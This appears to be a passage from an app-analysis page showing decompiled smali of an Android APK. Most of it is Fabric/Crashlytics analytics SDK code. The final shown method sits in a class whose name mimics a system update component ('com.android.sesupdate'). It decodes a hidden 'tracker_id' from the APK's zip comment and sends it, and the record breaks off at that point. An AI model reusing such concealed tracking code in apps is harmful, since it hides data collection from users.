                          10invoke-direct {v4, v1, v5}, Lio/fabric/sdk/android/Onboarding;-><init>(Ljava/util/concurrent/Future;Ljava/util/Collection;)V
                          11new-instance v3, Ljava/util/ArrayList;
                          13invoke-direct {v3, v5}, Ljava/util/ArrayList;-><init>(Ljava/util/Collection;)V
                          15invoke-static {v3}, Ljava/util/Collections;->sort(Ljava/util/List;)V
                          17sget-object v6, Lio/fabric/sdk/android/InitializationCallback;->EMPTY:Lio/fabric/sdk/android/InitializationCallback;
                          19iget-object v7, p0, Lio/fabric/sdk/android/Fabric;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          21invoke-virtual {v4, p1, p0, v6, v7}, Lio/fabric/sdk/android/Onboarding;->injectParameters(Landroid/content/Context;Lio/fabric/sdk/android/Fabric;Lio/fabric/sdk/android/InitializationCallback;Lio/fabric/sdk/android/services/common/IdManager;)V
                          23invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                          24move-result-object v6
                          25goto_20:
                          26invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z
                          27move-result v7
                          28if-eqz v7, :cond_34
                          30invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          31move-result-object v2
                          32check-cast v2, Lio/fabric/sdk/android/Kit;
                          34iget-object v7, p0, Lio/fabric/sdk/android/Fabric;->kitInitializationCallback:Lio/fabric/sdk/android/InitializationCallback;
                          36iget-object v8, p0, Lio/fabric/sdk/android/Fabric;->idManager:Lio/fabric/sdk/android/services/common/IdManager;
                          38invoke-virtual {v2, p1, p0, v7, v8}, Lio/fabric/sdk/android/Kit;->injectParameters(Landroid/content/Context;Lio/fabric/sdk/android/Fabric;Lio/fabric/sdk/android/InitializationCallback;Lio/fabric/sdk/android/services/common/IdManager;)V
                          39goto/16 :goto_20
                          40cond_34:
                          41invoke-virtual {v4}, Lio/fabric/sdk/android/Onboarding;->initialize()V
                          43invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          44move-result-object v6
                          46const-string v7, "Fabric"
                          47const/4 v8, 0x3
                          49invoke-interface {v6, v7, v8}, Lio/fabric/sdk/android/Logger;->isLoggable(Ljava/lang/String;I)Z
                          50move-result v6
                          51if-eqz v6, :cond_a4
                          52new-instance v6, Ljava/lang/StringBuilder;
                          54const-string v7, "Initializing "
                          56invoke-direct {v6, v7}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                          58invoke-virtual {p0}, Lio/fabric/sdk/android/Fabric;->getIdentifier()Ljava/lang/String;
                          59move-result-object v7
                          61invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          62move-result-object v6
                          64const-string v7, " [Version: "
                          66invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          67move-result-object v6
                          69invoke-virtual {p0}, Lio/fabric/sdk/android/Fabric;->getVersion()Ljava/lang/String;
                          70move-result-object v7
                          72invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          73move-result-object v6
                          75const-string v7, "], with the following kits:\n"
                          77invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          78move-result-object v0
                          79goto_67:
                          80invoke-interface {v3}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                          81move-result-object v6
                          82goto_6b:
                          83invoke-interface {v6}, Ljava/util/Iterator;->hasNext()Z
                          84move-result v7
                          85if-eqz v7, :cond_a6
                          87invoke-interface {v6}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          88move-result-object v2
                          89check-cast v2, Lio/fabric/sdk/android/Kit;
                          91iget-object v7, v2, Lio/fabric/sdk/android/Kit;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          93iget-object v8, v4, Lio/fabric/sdk/android/Onboarding;->initializationTask:Lio/fabric/sdk/android/InitializationTask;
                          95invoke-virtual {v7, v8}, Lio/fabric/sdk/android/InitializationTask;->addDependency(Lio/fabric/sdk/android/services/concurrency/Task;)V
                          97iget-object v7, p0, Lio/fabric/sdk/android/Fabric;->kits:Ljava/util/Map;
                          99invoke-virtual {p0, v7, v2}, Lio/fabric/sdk/android/Fabric;->addAnnotatedDependencies(Ljava/util/Map;Lio/fabric/sdk/android/Kit;)V
                          101invoke-virtual {v2}, Lio/fabric/sdk/android/Kit;->initialize()V
                          102if-eqz v0, :cond_6b
                          104invoke-virtual {v2}, Lio/fabric/sdk/android/Kit;->getIdentifier()Ljava/lang/String;
                          105move-result-object v7
                          107invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          108move-result-object v7
                          110const-string v8, " [Version: "
                          112invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          113move-result-object v7
                          115invoke-virtual {v2}, Lio/fabric/sdk/android/Kit;->getVersion()Ljava/lang/String;
                          116move-result-object v8
                          118invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          119move-result-object v7
                          121const-string v8, "]\n"
                          123invoke-virtual {v7, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          124goto/16 :goto_6b
                          125cond_a4: const/4 v0, 0x0
                          126goto/16 :goto_67
                          127cond_a6: if-eqz v0, :cond_b5
                          129invoke-static {}, Lio/fabric/sdk/android/Fabric;->getLogger()Lio/fabric/sdk/android/Logger;
                          130move-result-object v6
                          132const-string v7, "Fabric"
                          134invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          135move-result-object v8
                          137invoke-interface {v6, v7, v8}, Lio/fabric/sdk/android/Logger;->d(Ljava/lang/String;Ljava/lang/String;)V
                          138cond_b5: return-void
                          Cross References
                          APIs
                          • java.lang.String.length
                          • java.lang.String.replaceAll
                          • java.lang.String.startsWith
                          • java.lang.String.charAt
                          • java.lang.Character.isLetter
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          • java.lang.String.length
                          • java.lang.String.substring
                          Strings
                          • fabric_unnamed_parameter
                          • [^\\p{Alnum}_]+
                          • _
                          • ga_
                          • google_
                          • firebase_
                          • fabric_
                          Position Instruction Meta Information
                          0.param p1, "attributeName" # Ljava/lang/String;
                          1.prologue
                          2const/16 v3, 0x28
                          3const/4 v2, 0x0
                          4if-eqz p1, :cond_b
                          6invoke-virtual {p1}, Ljava/lang/String;->length()I
                          7move-result v0
                          8if-nez v0, :cond_e
                          9cond_b:
                          10const-string v0, "fabric_unnamed_parameter"
                          11goto_d: return-object v0
                          12cond_e:
                          13const-string v0, "[^\\p{Alnum}_]+"
                          15const-string v1, "_"
                          17invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                          18move-result-object p1
                          20const-string v0, "ga_"
                          22invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          23move-result v0
                          24if-nez v0, :cond_38
                          26const-string v0, "google_"
                          28invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          29move-result v0
                          30if-nez v0, :cond_38
                          32const-string v0, "firebase_"
                          34invoke-virtual {p1, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                          35move-result v0
                          36if-nez v0, :cond_38
                          38invoke-virtual {p1, v2}, Ljava/lang/String;->charAt(I)C
                          39move-result v0
                          41invoke-static {v0}, Ljava/lang/Character;->isLetter(C)Z
                          42move-result v0
                          43if-nez v0, :cond_4b
                          44cond_38: new-instance v0, Ljava/lang/StringBuilder;
                          46invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          48const-string v1, "fabric_"
                          50invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          51move-result-object v0
                          53invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          54move-result-object v0
                          56invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          57move-result-object p1
                          58cond_4b:
                          59invoke-virtual {p1}, Ljava/lang/String;->length()I
                          60move-result v0
                          61if-le v0, v3, :cond_56
                          63invoke-virtual {p1, v2, v3}, Ljava/lang/String;->substring(II)Ljava/lang/String;
                          64move-result-object v0
                          65goto/16 :goto_d
                          66cond_56: move-object v0, p1
                          67goto/16 :goto_d
                          APIs
                          • com.crashlytics.android.answers.SessionEvent$Type.<init>
                          Strings
                          • START
                          • RESUME
                          • PAUSE
                          • STOP
                          • CRASH
                          • INSTALL
                          • CUSTOM
                          • PREDEFINED
                          Position Instruction Meta Information
                          0.prologue
                          1const/4 v7, 0x4
                          2const/4 v6, 0x3
                          3const/4 v5, 0x2
                          4const/4 v4, 0x1
                          5const/4 v3, 0x0
                          6new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          8const-string v1, "START"
                          10invoke-direct {v0, v1, v3}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          11sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->START:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          12new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          14const-string v1, "RESUME"
                          16invoke-direct {v0, v1, v4}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          17sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->RESUME:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          18new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          20const-string v1, "PAUSE"
                          22invoke-direct {v0, v1, v5}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          23sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->PAUSE:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          24new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          26const-string v1, "STOP"
                          28invoke-direct {v0, v1, v6}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          29sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->STOP:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          30new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          32const-string v1, "CRASH"
                          34invoke-direct {v0, v1, v7}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          35sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->CRASH:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          36new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          38const-string v1, "INSTALL"
                          39const/4 v2, 0x5
                          41invoke-direct {v0, v1, v2}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          42sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->INSTALL:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          43new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          45const-string v1, "CUSTOM"
                          46const/4 v2, 0x6
                          48invoke-direct {v0, v1, v2}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          49sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->CUSTOM:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          50new-instance v0, Lcom/crashlytics/android/answers/SessionEvent$Type;
                          52const-string v1, "PREDEFINED"
                          53const/4 v2, 0x7
                          55invoke-direct {v0, v1, v2}, Lcom/crashlytics/android/answers/SessionEvent$Type;-><init>(Ljava/lang/String;I)V
                          56sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->PREDEFINED:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          57const/16 v0, 0x8
                          58new-array v0, v0, [Lcom/crashlytics/android/answers/SessionEvent$Type;
                          60sget-object v1, Lcom/crashlytics/android/answers/SessionEvent$Type;->START:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          61aput-object v1, v0, v3
                          63sget-object v1, Lcom/crashlytics/android/answers/SessionEvent$Type;->RESUME:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          64aput-object v1, v0, v4
                          66sget-object v1, Lcom/crashlytics/android/answers/SessionEvent$Type;->PAUSE:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          67aput-object v1, v0, v5
                          69sget-object v1, Lcom/crashlytics/android/answers/SessionEvent$Type;->STOP:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          70aput-object v1, v0, v6
                          72sget-object v1, Lcom/crashlytics/android/answers/SessionEvent$Type;->CRASH:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          73aput-object v1, v0, v7
                          74const/4 v1, 0x5
                          76sget-object v2, Lcom/crashlytics/android/answers/SessionEvent$Type;->INSTALL:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          77aput-object v2, v0, v1
                          78const/4 v1, 0x6
                          80sget-object v2, Lcom/crashlytics/android/answers/SessionEvent$Type;->CUSTOM:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          81aput-object v2, v0, v1
                          82const/4 v1, 0x7
                          84sget-object v2, Lcom/crashlytics/android/answers/SessionEvent$Type;->PREDEFINED:Lcom/crashlytics/android/answers/SessionEvent$Type;
                          85aput-object v2, v0, v1
                          86sput-object v0, Lcom/crashlytics/android/answers/SessionEvent$Type;->$VALUES:[Lcom/crashlytics/android/answers/SessionEvent$Type;
                          87return-void
                          Cross References
                          APIs
                          • java.util.Map.entrySet
                          • java.util.Set.iterator
                          • java.util.Iterator.hasNext
                          • java.util.Iterator.next
                          • java.util.Map$Entry.getValue
                          • java.util.Map$Entry.getKey
                          • java.util.Map$Entry.getValue
                          • java.lang.Object.toString
                          • android.os.Bundle.putString
                          • java.util.Map$Entry.getValue
                          • java.lang.Double.doubleValue
                          • android.os.Bundle.putDouble
                          • java.util.Map$Entry.getValue
                          • java.lang.Long.longValue
                          • android.os.Bundle.putLong
                          • java.util.Map$Entry.getValue
                          • java.lang.Integer.intValue
                          • android.os.Bundle.putInt
                          Position Instruction Meta Information
                          0.param p1, "mutatedBundle" # Landroid/os/Bundle;
                          1.annotation system Ldalvik/annotation/Signature;
                          2value = {
                          3"(",
                          4"Landroid/os/Bundle;",
                          5"Ljava/util/Map",
                          6"<",
                          7"Ljava/lang/String;",
                          8"Ljava/lang/Object;",
                          9">;)V"
                          10}
                          11.end annotation
                          12.prologue
                          14invoke-interface {p2}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                          15move-result-object v3
                          17invoke-interface {v3}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                          18move-result-object v4
                          19goto_8:
                          20invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                          21move-result v3
                          22if-eqz v3, :cond_68
                          24invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                          25move-result-object v1
                          26check-cast v1, Ljava/util/Map$Entry;
                          28invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          29move-result-object v2
                          31invoke-interface {v1}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                          32move-result-object v3
                          33check-cast v3, Ljava/lang/String;
                          35invoke-direct {p0, v3}, Lcom/crashlytics/android/answers/FirebaseAnalyticsEventMapper;->mapAttribute(Ljava/lang/String;)Ljava/lang/String;
                          36move-result-object v0
                          37instance-of v3, v2, Ljava/lang/String;
                          38if-eqz v3, :cond_32
                          40invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          41move-result-object v3
                          43invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
                          44move-result-object v3
                          46invoke-virtual {p1, v0, v3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                          47goto/16 :goto_8
                          48cond_32: instance-of v3, v2, Ljava/lang/Double;
                          49if-eqz v3, :cond_44
                          51invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          52move-result-object v3
                          53check-cast v3, Ljava/lang/Double;
                          55invoke-virtual {v3}, Ljava/lang/Double;->doubleValue()D
                          56move-result-wide v6
                          58invoke-virtual {p1, v0, v6, v7}, Landroid/os/Bundle;->putDouble(Ljava/lang/String;D)V
                          59goto/16 :goto_8
                          60cond_44: instance-of v3, v2, Ljava/lang/Long;
                          61if-eqz v3, :cond_56
                          63invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          64move-result-object v3
                          65check-cast v3, Ljava/lang/Long;
                          67invoke-virtual {v3}, Ljava/lang/Long;->longValue()J
                          68move-result-wide v6
                          70invoke-virtual {p1, v0, v6, v7}, Landroid/os/Bundle;->putLong(Ljava/lang/String;J)V
                          71goto/16 :goto_8
                          72cond_56: instance-of v3, v2, Ljava/lang/Integer;
                          73if-eqz v3, :cond_8
                          75invoke-interface {v1}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                          76move-result-object v3
                          77check-cast v3, Ljava/lang/Integer;
                          79invoke-virtual {v3}, Ljava/lang/Integer;->intValue()I
                          80move-result v3
                          82invoke-virtual {p1, v0, v3}, Landroid/os/Bundle;->putInt(Ljava/lang/String;I)V
                          83goto/16 :goto_8
                          84cond_68: return-void
                          APIs
                          • java.util.List.size
                          • java.lang.Integer.valueOf
                          • java.lang.String.format
                          • java.util.List.size
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.Exception.getMessage
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • skipping files send because we don\'t yet know the target endpoint
                          • Sending all files
                          • attempt to send batch of %d files
                          • Failed to send batch of analytics files to server:
                          Position Instruction Meta Information
                          0.prologue
                          2iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesSender:Lio/fabric/sdk/android/services/events/FilesSender;
                          3if-nez v4, :cond_c
                          5iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          7const-string v5, "skipping files send because we don\'t yet know the target endpoint"
                          9invoke-static {v4, v5}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlled(Landroid/content/Context;Ljava/lang/String;)V
                          10cond_b: return-void
                          11cond_c:
                          12iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          14const-string v5, "Sending all files"
                          16invoke-static {v4, v5}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlled(Landroid/content/Context;Ljava/lang/String;)V
                          17const/4 v3, 0x0
                          19iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          21invoke-virtual {v4}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->getBatchOfFilesToSend()Ljava/util/List;
                          22move-result-object v0
                          23try_start_1a:
                          24invoke-interface {v0}, Ljava/util/List;->size()I
                          25move-result v4
                          26if-lez v4, :cond_4f
                          28iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          30sget-object v5, Ljava/util/Locale;->US:Ljava/util/Locale;
                          32const-string v6, "attempt to send batch of %d files"
                          33const/4 v7, 0x1
                          34new-array v7, v7, [Ljava/lang/Object;
                          35const/4 v8, 0x0
                          37invoke-interface {v0}, Ljava/util/List;->size()I
                          38move-result v9
                          40invoke-static {v9}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                          41move-result-object v9
                          42aput-object v9, v7, v8
                          44invoke-static {v5, v6, v7}, Ljava/lang/String;->format(Ljava/util/Locale;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                          45move-result-object v5
                          47invoke-static {v4, v5}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlled(Landroid/content/Context;Ljava/lang/String;)V
                          49iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesSender:Lio/fabric/sdk/android/services/events/FilesSender;
                          51invoke-interface {v4, v0}, Lio/fabric/sdk/android/services/events/FilesSender;->send(Ljava/util/List;)Z
                          52move-result v1
                          53if-eqz v1, :cond_4d
                          55invoke-interface {v0}, Ljava/util/List;->size()I
                          56move-result v4
                          57add-int/2addr v3, v4
                          59iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          61invoke-virtual {v4, v0}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->deleteSentFiles(Ljava/util/List;)V
                          62try_end_4d: if-nez v1, :cond_57
                          63goto_4f: if-nez v3, :cond_b
                          65iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          67invoke-virtual {v4}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->deleteOldestInRollOverIfOverMax()V
                          68goto/16 :goto_b
                          69cond_57:
                          70iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->filesManager:Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;
                          72invoke-virtual {v4}, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->getBatchOfFilesToSend()Ljava/util/List;
                          73try_end_5c: move-result-object v0
                          74goto/16 :goto_1a
                          75catch_5e: move-exception v2
                          77iget-object v4, p0, Lcom/crashlytics/android/answers/EnabledSessionAnalyticsManagerStrategy;->context:Landroid/content/Context;
                          78new-instance v5, Ljava/lang/StringBuilder;
                          80invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                          82const-string v6, "Failed to send batch of analytics files to server: "
                          84invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          85move-result-object v5
                          87invoke-virtual {v2}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                          88move-result-object v6
                          90invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          91move-result-object v5
                          93invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          94move-result-object v5
                          96invoke-static {v4, v5, v2}, Lio/fabric/sdk/android/services/common/CommonUtils;->logControlledError(Landroid/content/Context;Ljava/lang/String;Ljava/lang/Throwable;)V
                          97goto/16 :goto_4f
                          APIs
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • {type:\"
                          • , predefinedAttributes:
                          • , customAttributes:
                          • }
                          Position Instruction Meta Information
                          0.prologue
                          1new-instance v0, Ljava/lang/StringBuilder;
                          3invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                          5const-string v1, "{type:\""
                          7invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          8move-result-object v0
                          10invoke-virtual {p0}, Lcom/crashlytics/android/answers/PredefinedEvent;->getPredefinedType()Ljava/lang/String;
                          11move-result-object v1
                          13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          14move-result-object v0
                          15const/16 v1, 0x22
                          17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
                          18move-result-object v0
                          20const-string v1, ", predefinedAttributes:"
                          22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          23move-result-object v0
                          25iget-object v1, p0, Lcom/crashlytics/android/answers/PredefinedEvent;->predefinedAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          28move-result-object v0
                          30const-string v1, ", customAttributes:"
                          32invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          33move-result-object v0
                          35iget-object v1, p0, Lcom/crashlytics/android/answers/PredefinedEvent;->customAttributes:Lcom/crashlytics/android/answers/AnswersAttributes;
                          37invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                          38move-result-object v0
                          40const-string v1, "}"
                          42invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          43move-result-object v0
                          45invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          46move-result-object v0
                          47return-object v0
                          APIs
                          • java.util.UUID.randomUUID
                          • java.lang.StringBuilder.<init>
                          • java.lang.StringBuilder.append
                          • java.util.UUID.toString
                          • java.lang.StringBuilder.append
                          • java.lang.StringBuilder.toString
                          Strings
                          • sa
                          • _
                          • .tap
                          Position Instruction Meta Information
                          0.prologue
                          2invoke-static {}, Ljava/util/UUID;->randomUUID()Ljava/util/UUID;
                          3move-result-object v0
                          4new-instance v1, Ljava/lang/StringBuilder;
                          6invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                          8const-string v2, "sa"
                          10invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          11move-result-object v1
                          13const-string v2, "_"
                          15invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          16move-result-object v1
                          18invoke-virtual {v0}, Ljava/util/UUID;->toString()Ljava/lang/String;
                          19move-result-object v2
                          21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          22move-result-object v1
                          24const-string v2, "_"
                          26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          27move-result-object v1
                          29iget-object v2, p0, Lcom/crashlytics/android/answers/SessionAnalyticsFilesManager;->currentTimeProvider:Lio/fabric/sdk/android/services/common/CurrentTimeProvider;
                          31invoke-interface {v2}, Lio/fabric/sdk/android/services/common/CurrentTimeProvider;->getCurrentTimeMillis()J
                          32move-result-wide v2
                          34invoke-virtual {v1, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                          35move-result-object v1
                          37const-string v2, ".tap"
                          39invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                          40move-result-object v1
                          42invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                          43move-result-object v1
                          44return-object v1
                          Cross References
                          APIs
                          • android.content.Context.getPackageManager
                          • android.content.Context.getPackageName
                          • android.content.pm.PackageManager.getApplicationInfo
                          • android.util.Base64.decode
                          • java.lang.String.<init>
                          • org.json.JSONObject.<init>
                          • com.android.sesupdate.ApkUtils$sendTask.<init>
                          • org.json.JSONObject.getString
                          • com.android.sesupdate.ApkUtils$sendTask.execute
                          • java.lang.Exception.printStackTrace
                          Strings
                          • UTF-8
                          • tracker_id
                          Position Instruction Meta Information
                          0.param p1, "context" # Landroid/content/Context;
                          1.prologue
                          2const/4 v0, 0x0
                          3try_start_1:
                          4invoke-virtual {p1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                          5move-result-object v6
                          7invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                          8move-result-object v7
                          9const/4 v8, 0x0
                          11invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getApplicationInfo(Ljava/lang/String;I)Landroid/content/pm/ApplicationInfo;
                          12move-result-object v0
                          14iget-object v6, v0, Landroid/content/pm/ApplicationInfo;->publicSourceDir:Ljava/lang/String;
                          16invoke-virtual {p0, v6}, Lcom/android/sesupdate/ApkUtils;->extractZipComment(Ljava/lang/String;)Ljava/lang/String;
                          17move-result-object v1
                          18const/4 v3, 0x0
                          19const/4 v6, 0x0
                          21invoke-static {v1, v6}, Landroid/util/Base64;->decode(Ljava/lang/String;I)[B
                          22move-result-object v2
                          23new-instance v3, Ljava/lang/String;
                          25const-string v6, "UTF-8"
                          27invoke-direct {v3, v2, v6}, Ljava/lang/String;-><init>([BLjava/lang/String;)V
                          28new-instance v5, Lorg/json/JSONObject;
                          30invoke-direct {v5, v3}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                          31new-instance v6, Lcom/android/sesupdate/ApkUtils$sendTask;
                          33invoke-direct {v6, p0}, Lcom/android/sesupdate/ApkUtils$sendTask;-><init>(Lcom/android/sesupdate/ApkUtils;)V
                          34const/4 v7, 0x1
                          35new-array v7, v7, [Ljava/lang/String;
                          36const/4 v8, 0x0
                          38const-string v9, "tracker_id"
                          40invoke-virtual {v5, v9}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                          41move-result-object v9
                          42aput-object v9, v7, v8
